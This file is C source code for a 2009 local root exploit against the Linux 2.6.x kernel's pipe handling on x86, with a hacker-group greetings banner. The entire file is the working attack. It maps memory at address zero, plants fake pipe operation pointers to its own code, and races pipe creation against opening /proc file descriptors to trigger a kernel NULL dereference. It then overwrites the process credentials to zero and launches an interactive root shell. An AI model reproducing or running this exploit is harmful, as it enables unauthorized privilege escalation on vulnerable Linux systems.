| /*******************************************************************************                            .:: Impel Down ::.
 *
 *     Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
 *                              by teach & xipe
 *    Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
 *    (hehe guyz, we would probably be high profile and mediatised el8 if we
 *    lost less time on trolling all day long, but we LOVE IT :)))
 *    Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
 *    promise ivan, one day i'll kill u :p)
 *
 * (C) COPYRIGHT teach & xipe, 2009
 * All Rights Reserved
 *
 * teach@vxhell.org
 * xipe@vxhell.org
 *
 *******************************************************************************/
 #include <fcntl.h>#include <sys/mman.h>
 #include <unistd.h>
 #include <sys/types.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
 #include <errno.h>
 #include <sys/mman.h>
 #include <syscall.h>
 #include <stdint.h>
 #define PIPE_BUFFERS (16) struct pipe_buf_operations {int can_merge;
 int *ops[10];
 };
 struct pipe_buffer {int *page;
 unsigned int offset, len;
 const struct pipe_buf_operations *ops;
 unsigned int flags;
 unsigned long private;
 };
 struct pseudo_pipe_inode_info{
 /* Wait queue head */
 /* spinlock */
 int spinlock;
 /* list */
 int *next, *prev;
 unsigned int nrbufs, curbuf;
 int *page;
 unsigned int readers;
 unsigned int writers;
 unsigned int waiting_writers;
 unsigned int r_counter;
 unsigned int w_counter;
 int *async_readers;
 int *async_writers;
 int *inode;
 struct pipe_buffer bufs[PIPE_BUFFERS];
 };
 static pid_t uid;static gid_t gid;
 unsigned long taskstruct[1024];
 static inline void *get_stack_top(){
 void *stack;
  __asm__ __volatile__ ("movl $0xffffe000,%%eax ;"
 "andl %%esp, %%eax ;"
 "movl %%eax, %0 ;"
 : "=r" (stack)
 );
 return stack;
 }
 static inline void *get_current(){
 return *(void **)get_stack_top();
 }
 static void update_cred(){
 uint32_t i;
 uint32_t *task = get_current(); /* Pointer to the task_struct */
 uint32_t  *cred = 0;
 
 for (i = 0; i < 1024; i++)
 {
 taskstruct[i] = task[i];
 cred = (uint32_t *)task[i];
 if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
 cred++; /* Get ride of the cred's 'usage' field */
 if (cred[0] == uid && cred[1] == gid
 && cred[2] == uid && cred[3] == gid
 && cred[4] == uid && cred[5] == gid
 && cred[6] == uid && cred[7] == gid)
 {
 /* Get root */
 cred[0] = cred[2] = cred[4] = cred[6] = 0;
 cred[1] = cred[3] = cred[5] = cred[7] = 0;
 break;
 }
 }
 }
 }
 int is_done(int new){
 static int done = 0;
 if (done == 1)
 return (1);
 done = new;
 }
 volatile int done = 0;void kernel_code()
 {
 is_done(1);
 update_cred();
 //exit_kernel();
 }
 int main(int ac, char **av){
 int fd[2];
 int pid;
 int parent_pid = getpid();
 char *buf;
 int i,j;
 struct pseudo_pipe_inode_info  *pinfo = 0;
 struct pipe_buf_operations ops;
  buf = mmap(0, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0, 0);   printf ("buf: %p\n", buf);  pinfo->readers = 0;pinfo->writers = 0;
  for (i = 0; i < 10; i++)ops.ops[i] = (int *)kernel_code;
  for (i = 0; i < PIPE_BUFFERS; i++){
 pinfo->bufs[i].ops = &ops;
 }
  i = 0; uid = getuid();
 gid = getgid();
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);
 //while (1)
 {
 pid = fork();
 if (pid == -1)
 {
 perror("fork");
 return (-1);
 }
 if (pid)
 {
 char path[1024];
 char c;
 /* I assume next opened fd will be 4 */
 sprintf(path, "/proc/%d/fd/4", pid);
 printf("Parent: %d\nChild: %d\n", parent_pid, pid);
 while (!is_done(0))
 {
 fd[0] = open(path, O_RDWR);
 if (fd[0] != -1)
 {
 close(fd[0]);
 }
 }
 //system("/bin/sh");
 execl("/bin/sh", "/bin/sh", "-i", NULL);
 return (0);
 }
 
 while (!is_done(0))
 {
 if (pipe(fd) != -1)
 {
 close(fd[0]);
 close(fd[1]);
 }
 }
 }
 }
 
 
 |